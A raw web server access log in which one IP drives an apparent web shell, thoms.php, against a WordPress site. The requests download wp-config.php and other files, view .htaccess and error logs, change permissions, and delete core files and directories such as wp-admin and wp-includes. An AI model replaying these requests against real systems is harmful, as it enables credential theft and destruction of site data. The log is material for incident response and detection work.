45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?dl=thoms.php&p=bioway88.com.tw HTTP/1.1" 200 17413 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /bioway88.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-mail.php HTTP/1.1" 200 15350 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fmember-suspended&p= HTTP/1.1" 200 11825 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fmember-suspended&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?chmod=partial-filter&p=bioway88.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=partial-filter&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bioway88.com.tw HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:53 -0400] "GET /thoms.php?del=wp-trackback.php&p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /thoms.php?p=bioway88.com.tw&view=xmlrpc.php HTTP/1.1" 200 13366 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /thoms.php?del=xmlrpc.php&p=bioway88.com.tw HTTP/1.1" 200 17402 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Ferror_log&p=bioway88.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Ferror_log&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /bioway88.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /thoms.php?p=bioway88.com.tw&settings=1 HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fupgrade HTTP/1.1" 200 14173 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /thoms.php?dl=license.txt&p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /thoms.php?del=wp-cron.php&p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-login.php HTTP/1.1" 200 29032 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /bioway88.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /thoms.php?dl=wp-login.php&p=bioway88.com.tw HTTP/1.1" 200 17414 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /thoms.php?del=wp-admin&p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /thoms.php?chmod=mah.php&p=bioway88.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:54 -0400] "GET /bioway88.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bioway88.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fthoms.php&p=bioway88.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fthoms.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bioway88.com.tw HTTP/1.1" 200 17409 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /thoms.php?del=wp-activate.php&p=bioway88.com.tw HTTP/1.1" 200 17410 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /thoms.php?dl=wp-config.php&p=bioway88.com.tw HTTP/1.1" 200 17409 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13108 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /thoms.php?dl=wp-load.php&p=bioway88.com.tw HTTP/1.1" 200 17410 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /bioway88.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /thoms.php?p=bioway88.com.tw%2F.well-known HTTP/1.1" 200 12584 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /thoms.php?dl=locoy.php&p=bioway88.com.tw HTTP/1.1" 200 17408 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /thoms.php?dl=mah.php&p=bioway88.com.tw HTTP/1.1" 200 17408 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /thoms.php?del=thoms.php&p=bioway88.com.tw HTTP/1.1" 200 17408 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /thoms.php?del=wp-includes&p=bioway88.com.tw HTTP/1.1" 200 17408 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:55 -0400] "GET /bioway88.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?p=bioway88.com.tw&view=.htaccess HTTP/1.1" 200 12738 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-cron.php HTTP/1.1" 200 14177 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-signup.php&p=bioway88.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-signup.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?chmod=error_log&p=bioway88.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Findex.php&p=bioway88.com.tw HTTP/1.1" 200 11430 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Findex.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-activate.php HTTP/1.1" 200 14817 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bioway88.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bioway88.com.tw HTTP/1.1" 200 17408 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-links-opml.php&p=bioway88.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-links-opml.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?chmod=wp-login.php&p=bioway88.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?del=wp-signup.php&p=bioway88.com.tw HTTP/1.1" 200 17407 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /bioway88.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-settings.php HTTP/1.1" 200 19479 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-trackback.php HTTP/1.1" 200 14103 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:56 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fxmlrpc.php&p=bioway88.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fxmlrpc.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?del=error_log&p=bioway88.com.tw HTTP/1.1" 200 17410 "http://163.245.207.76:443/thoms.php?del=error_log&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 404 18444 "https://163.245.207.76:443/bioway88.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /bioway88.com.tw/wp-includes/ HTTP/1.1" 200 9209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bioway88.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?p=bioway88.com.tw&view=thoms.php HTTP/1.1" 200 11810 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?chmod=.well-known&p=bioway88.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fpartial-filter&p= HTTP/1.1" 200 11819 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fpartial-filter&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?del=index.php&p=bioway88.com.tw HTTP/1.1" 200 17411 "http://163.245.207.76:443/thoms.php?del=index.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?dl=index.php&p=bioway88.com.tw HTTP/1.1" 200 17410 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?p=bioway88.com.tw&view=mah.php HTTP/1.1" 200 11807 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?chmod=thoms.php&p=bioway88.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bioway88.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?copy=bioway88.com.tw%2F.well-known&p= HTTP/1.1" 200 11806 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-content HTTP/1.1" 200 13615 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?p=bioway88.com.tw&view=license.txt HTTP/1.1" 200 20080 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:57 -0400] "GET /bioway88.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-settings.php&p=bioway88.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-settings.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /bioway88.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /bioway88.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?chmod=wp-admin&p=bioway88.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?p=bioway88.com.tw&view=index.php HTTP/1.1" 200 12051 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /bioway88.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13321 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /bioway88.com.tw/member-suspended/ HTTP/1.1" 200 6448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bioway88.com.tw HTTP/1.1" 200 17406 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?p=bioway88.com.tw&view=error_log HTTP/1.1" 200 14502 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bioway88.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
